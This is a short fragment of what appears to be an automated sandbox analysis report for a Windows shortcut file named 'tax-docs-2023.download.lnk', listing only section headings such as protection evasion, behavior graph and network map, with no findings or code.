HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Screenshots

Behavior Graph

Network Map

Windows Analysis Report
tax-docs-2023.download.lnk